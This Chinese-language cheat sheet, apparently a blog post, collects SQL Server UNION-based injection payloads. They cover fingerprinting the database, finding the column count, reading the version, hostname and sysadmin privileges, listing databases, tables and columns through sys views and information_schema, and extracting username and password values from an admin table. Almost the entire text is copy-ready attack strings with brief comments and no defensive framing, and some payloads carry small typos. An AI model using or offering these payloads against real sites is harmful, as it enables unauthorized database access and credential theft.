这是Sqlserver/Mssql注入总结的第一篇,将围绕union联合注入进行讲述,内容相对来说,比较中规中矩,有需要的可以考虑收藏保存,当做备忘录使用。
利用sys视图进行union注入
判断是不是sqlserver数据库:
id=1 and user>0 //看报错信息判断id =1 and (select count(*) from sysobjects)>0 //返回正常是sqlserverid =1 and (select count(*) from mysysobjects)>0 //返回错误可能是access
1.用order by 判断列数:
id=1' order by 3-- // Trueid=1' order by 4-- // False - 判断只有3列,有时候4报错,但是5回显正常,所以多加几个数字试试id=-1' UNION SELECT null,null,null-- //有时候可以尝试union all selectid=-1' UNION SELECT null,'2','3'-- //回显2和3列,这里要找到字符类型列,把null换成数字,如果报错说明试字符类型列,然后给数字加上'',就回显正常,因为只有在字符类型列才能查询出数据
2.爆数据库信息:
id=-1' UNION SELECT null,@@VERSION,'3'-- //查询sqlserver的版本id=-1' UNION SELECT null,@@SERVERNAME,'3'-- //查询sqlserver的主机名id=-1' UNION SELECT null,is_srvrolemember('sysadmin'),'3'-- //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断id=1' and ((select host_name())=(select @@SERVERNAME))-- //判断是否站库分离,返回正常则不是,返回错误则站库分离
3.爆数据库名:
id=-1' UNION SELECT null,DB_NAME(5),'3'-- //查询sqlserver的第5个数据库名,5可以遍历 id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases where dbid>4),'3'-- //查询sqlserver的数据库名,dbid可以遍历,查询别的数据库名
或者用and加条件,不用dbid:
id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases where name <>'test'),'3'-- //查询sqlserver的数据库名,并且数据库名不等于test,也可以使用!=,不断加and条件即可
或者使用not in():
id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases where name not in('test')),'3'-- //查询sqlserver的数据库名,并且数据库名不等于test
4.查询表名:
id=-1' UNION SELECT null,(select top 1 name from 数据库名..sysobjects where xtype='u'),'3'-- //查询数据库名的表名 id=-1' UNION SELECT null,(select top 1 name from 数据库名..sysobjects where xtype='u' and name <>'test' and name <>'manage'),'3'-- //查询数据库名的表名,并且表名不等于test和manage,也可以用!=,不断加and条件即可
或者用not in():
id=-1' UNION SELECT null,(select top 1 name from 数据库名..sysobjects where xtype='u' and name not in(test','manage'),'3'--
5.查询列名:
id=-1' union all select null,(select top 1 name from syscolumns where id=(select id from sysobjects where name ='manage') and name <>'id'),'3'-- //查询manage表的列名,并且列名不等于id,也可使用!=,不断添加and条件即可
或者使用not in():
id=-1' union all select null,(select top 1 name from syscolumns where id=(select id from sysobjects where name ='manage') and name not in('id')),'3'-- //查询manage表的列名,并且列名不等于id
或者用下面这个:
id=-1' UNION SELECT null,(SELECT TOP 1 col_name (object_id('manage'),1) from sysobjects),'3'-- //查询manage表的列名,('manage')是表名,后面的1可以遍历,查询其他列名
6.查询数据:
id=-1' UNION SELECT null,(SELECT top 1 username from manage),'3'--//查询第一个usernmae的值 id=-1' UNION SELECT null,(SELECT top 1 username from manage where username <>'user1'),'3'-- //查询username的值并且不等于user1,可以使用!=
指定某个字段为条件查询:
id=-1' UNION SELECT null,(SELECT top 1 password from manage where username='user1'),'3'--//查询password的值,并且username等于user1
或者两个字段一并查询,用+号连接:
id=-1' UNION SELECT null,(SELECT top 1 quotename(username%2b'~'%2bpassword) from manage),'3'--//查询username+password,quotename()是用【】括起来,格式为【user1~pass1】
利用information_schema视图进行union注入
判断是不是sqlserver数据库:
id=1 and user>0 //看报错信息判断id =1 and (select count(*) from sysobjects)>0 //返回正常是sqlserverid =1 and (select count(*) from mysysobjects)>0 //返回错误可能是access
1.用order by 判断列数:
id=1' order by 3-- // Trueid=1' order by 4-- // False - 判断只有3列,有时候4报错,但是5回显正常,所以多加几个数字试试id=-1' UNION SELECT null,null,null-- //有时候可以尝试union all selectid=-1' UNION SELECT null,'2','3'-- //回显2和3列,这里要找到字符类型列,把null换成数字,如果报错说明试字符类型列,然后给数字加上'',就回显正常,因为只有在字符类型列才能查询出数据
2.爆数据库信息:
id=-1' UNION SELECT null,@@VERSION,'3'-- //查询sqlserver的版本id=-1' UNION SELECT null,@@SERVERNAME,'3'-- //查询sqlserver的主机名id=-1' UNION SELECT null,is_srvrolemember('sysadmin'),'3'-- //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断
3.爆数据库名:
id=1' UNION SELECT null,(select top 1 CATALOG_NAME from INFORMATION_SCHEMA.SCHEMATA),'3'-- //只能查询当前数据库名 id=-1' UNION SELECT null,DB_NAME(5),'3'-- //查询sqlserver的第5个数据库名,5可以遍历 id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases where dbid>4),'3'-- //查询sqlserver的数据库名,dbid可以遍历查询别的数据库名
或者用and加条件,不用dbid:
id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases wherename <>'test'),'3'-- //查询sqlserver的数据库名,并且数据库名不等于test,也可以使用!=,不断加and条件即可
或者用not in():
id=-1' UNION SELECT null,(select top 1 name from master..sysdatabases where name not in('test')),'3'-- //查询sqlserver的数据库名,并且数据库名不等于test
4.查询表名:
id=-1' UNION SELECTnull,(SELECT TOP 1 table_name FROM information_schema.tables),'3'-- //查询数据库名的表名id=-1' UNION SELECT null,(select top 1table_name FROM information_schema.tables where table_name <>'manage'),'3'-- //查询数据库名的表名,并且表名不等于test和manage,也可以使用!=,不断加and条件即可
或者用下面这个:
id=-1' UNION SELECT null,(select top 1 table_name FROM information_schema.tables where table_namenot in(test','manage'),'3'--
5.查询列名:
id=-1' UNION SELECT null,(SELECT top 1 column_name from information_schema.columns where table_name='manage' ),'3'-- //查询manage表第一个列名 id=-1' UNION SELECT null,(SELECT top 1 column_name from information_schema.columns where table_name='manage' and column_name <>'id'),'3'-- //查询manage表的列名,并且列名不等与id,也可以使用!=,不断加and条件即可
6.查询数据:
id=-1' UNION SELECT null,(SELECT top 1 username from manage where username <>'user1'),'3'-- //查询username的值并且不等于user1,可以使用!=
或者使用not in():
id=-1' UNION SELECT null,(SELECT top 1 username from manage where username not in('user1')),'3'--//查询usernmae的值,并且username不等于user1
指定条件查数据:
id=-1' UNION SELECT null,(SELECT top 1 password from manage where username='user1'),'3'--//查询password的值,并且username等于user1
或者两个字段一并查询,用+号连接:
id=-1' UNION SELECT null,(SELECT top 1 quotename(username%2b'~'%2bpassword) from manage),'3'--//查询username+password,quotename()是用【】括起来,格式为【user1~pass1】